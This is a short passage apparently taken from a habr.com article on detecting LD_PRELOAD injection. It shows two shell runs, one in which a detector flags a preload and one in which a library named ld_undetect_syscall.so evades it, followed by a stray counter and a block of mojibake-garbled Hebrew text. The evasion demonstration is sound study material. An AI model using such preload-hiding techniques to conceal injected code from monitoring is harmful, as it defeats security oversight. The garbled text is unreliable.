$ ./detect_syscall
LD_PRELOAD (open syscall) [+]
$ LD_PRELOAD=./ld_undetect_syscall.so ./detect_syscall
LD_PRELOAD (open syscall) [-]
+0-0=5
ืชืืื ืจืื ืื
, ืฉืืืืืจืื, ืืืงืืจืืช ืืืืขืจืืช ืฉืื ืขืฉื ืืจืื ืืืชืจ ืืื ื ืืื ืฉืืขืจื ืื ืชืืคืืข ืืื.
ืืงืืจ: www.habr.com